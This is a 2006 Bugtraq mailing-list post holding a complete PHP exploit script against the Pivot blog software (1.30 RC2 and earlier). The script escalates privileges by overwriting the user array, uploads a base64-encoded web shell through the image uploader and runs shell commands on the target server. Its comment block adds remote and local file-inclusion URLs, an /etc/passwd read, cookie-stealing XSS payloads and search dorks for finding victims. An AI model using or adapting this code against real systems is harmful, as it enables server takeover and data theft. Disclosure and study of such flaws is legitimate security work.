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Message-ID: <20060707153804.29236.qmail@securityfocus.com>
Date: 7 Jul 2006 15:38:04 -0000
From: rgod@...istici.org
To: bugtraq@...urityfocus.com
Subject: Pivot <=1.30rc2 privilege escalation / remote commands execution
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Pivot <= 1.30 RC2 privileges escalation / remote commands execution exploit\n";
echo "by rgod rgod@...istici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dorks: \"Powered byPivot\"\n";
echo "version specific: \"Powered byPivot - 1.30 RC2\" +Rippersnapper\n\n";
/*
works with register_globals=On
*/
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to the blog\n";
echo "cmd: a shell command\n";
echo "Options:\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo "Examples:\n";
echo "php ".$argv[0]." localhost /blog/ ls -la -p81\n";
echo "php ".$argv[0]." localhost /blog/ ls -la -P1.1.1.1:80\n\n";
die;
}
/* software site: http://www.pivotlog.net/
i) vulnerable code in pv_core.php at line 23-24 and in CheckLogin() function:
...
// some global initialisation stuff
$Pivot_Vars = array_merge($_GET , $_POST, $_SERVER);
...
function CheckLogin() {
global $Users, $Pivot_Vars, $Cfg;
// User is banned..
if(isset($Cfg['bn_' . $_SERVER['REMOTE_ADDR']])){
Login(1, 1, "User is banned");
}
// added to not check for referers if no session id is given..
if(!isset($Pivot_Vars['session'])){ <-------------[!]
$uri = 'http://' . $Pivot_Vars['HTTP_HOST'] . $Pivot_Vars['SCRIPT_NAME'];
if(strpos($Pivot_Vars['HTTP_REFERER'], $uri)!=0){
$Pivot_Vars['user'] = '';
Login(0, 2, "No session active.");
}
}
// If we selected logout from the menu..
if( isset($Pivot_Vars['func']) && ($Pivot_Vars['func'] == 'login') && isset($Pivot_Vars['do']) && ($Pivot_Vars['do'] == 'logout')){
setcookie('user', '', -9999,"/");
setcookie('pass', '', -9999,"/");
setcookie('mode', 'nothing', -9999,"/");
unset($Users[$Cfg['tempsessions'][$Pivot_Vars['session']][0]]['session']);
unset($Cfg['tempsessions'][$Pivot_Vars['session']]);
SaveSettings();
login(0,3, "User logged off");
}
// if the user has cookies set, but no session is active yet..
if( isset($_COOKIE['user']) && isset($_COOKIE['hash']) && ($_COOKIE['mode'] == 'stayloggedin') && <----------- [!!!]
( (!isset($Pivot_Vars['session'])) || ($Pivot_Vars['session'] == "")) ) {
debug("attempted ReviveSession..");
// Try to revive an old Session..
ReviveSession();
} else if(($Pivot_Vars['func'] == 'login') || ($Pivot_Vars['do'] == 'login')) {
// if we've just logged in, reset the cookies, if necesary and start a new session..
debug("attempted login..");
if ( ($Users[$Pivot_Vars['user']]['pass'] == md5($Pivot_Vars['pass'])) <-------------- [!!!!]
&& ($Users[$Pivot_Vars['user']]['userlevel']>0) ) {
NewSession($Pivot_Vars['user']);
}else{
// add one to the failed login attempts.
if(strlen($Pivot_Vars['user']) > 0) {
$Cfg['fl_' . $_SERVER['REMOTE_ADDR']]++;
}
Login(1,4, "Incorrect username or password");
}
} else {
// when running normally, the session stuff is updated.
$Pivot_Vars['user'] = $Cfg['tempsessions'][$Pivot_Vars['session']][0];
$ip = substr( $_SERVER['REMOTE_ADDR'], 0, strrpos( $_SERVER['REMOTE_ADDR'], "."));
// calculated locally: user's pass + current session + ip we got from user
$hash1 = md5( md5( $Users[$Pivot_Vars['user']]['pass'] . $Pivot_Vars['session'] ) . $ip ) ;
// stored hash
$hash2 = $Cfg['tempsessions'][$Pivot_Vars['session']][1];
// we check if the two hash matches with the one that was stored
if ($hash1 != $hash2) {
// if this is the case, something's not ok, so go back to login..
Login(0,0, "No hacking, please");
}
}
// If by this point no session is set, we will show the login screen..
if(strlen($Pivot_Vars['session']) == 0) {
Login(0,8, "Please log on. (if you keep getting this message, delete the cookies for this site)");
}
// Update the timer, so we can keep the user logged in.
if($Cfg['tempsessions'][$Pivot_Vars['session']][2] - time() <= ($Cfg['session_length'] / 4)) {
$Cfg['tempsessions'][$Pivot_Vars['session']][2] = $Cfg['tempsessions'][$Pivot_Vars['session']][2] + $Cfg['session_length'];
}
}
...
a remote user can overwrite $Pivot_Vars array and, if register_globals=on,
$Users one, to escalate privileges, then he can upload php files in images/ folder
through the includes/editor/insert_image.php script
ii)
arbitrary remote inclusion (on php5) with register_globals=On
http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=ftp://username:password@...ehost.com/
where on somehost.com we have a
hooks/pre_editor_normal.php with some shellcode inside
and local inclusion with register_globals=On & magic_quotes_gpc=Off
http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=/etc/passwd%00
iii) various xss with register_globals=On:
http://[target]/[path]/pivot/includes/blogroll.php?fg=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?line1=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?line2=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?bg=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c1=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c2=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c3=[XSS]
http://[target]/[path]/pivot/includes/blogroll.php?c4=[XSS]
http://[target]/[path]/pivot/includes/editor/edit_menu.php?name=[XSS]
http://[target]/[path]/pivot/includes/editor/edit_menu.php?js_name=[XSS]
iv) regardless of magic_quotes_gpc, xss:
http://[target]/[path]/pivot/includes/photo.php?h=><script>alert(document.cookie)</script>
http://[target]/[path]/pivot/includes/photo.php?w=><script>alert(document.cookie)</script>
this is the poc exploit tool for i)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$magic_var="suntzu"; //no matter how you call him
$shell="error_reporting(0);if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]=stripslashes(\$_COOKIE[\"cmd\"]);}set_time_limit(0);echo \"my_delim\";passthru(\$_COOKIE[\"cmd\"]);echo \"my_delim\";";
$shell=base64_encode($shell);
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="userfile"; filename="cfg.php";
Content-Type: text/plain
<?php;eval(base64_decode("'.$shell.'"));?>
-----------------------------7d62702f250530--
';
$packet="POST ".$p."pivot/includes/editor/insert_image.php?session=".$magic_var."&func=login&pass=".$magic_var."&user=".$magic_var."&Users[".$magic_var."][pass]=".md5($magic_var)."&Users[".$magic_var."][userlevel]=1 HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: hash=; mode=stayloggedin; user=;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
//shell.php is renamed to shell.php.php
$packet="GET ".$p."images/cfg.php.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
$temp=explode("my_delim",$html);
die("exploit succeeded...\n\n".$temp[1]);
}
//if you are here...
echo "exploit failed...";
?>
original url: http://retrogod.altervista.org/pivot_130RC2_xpl.html
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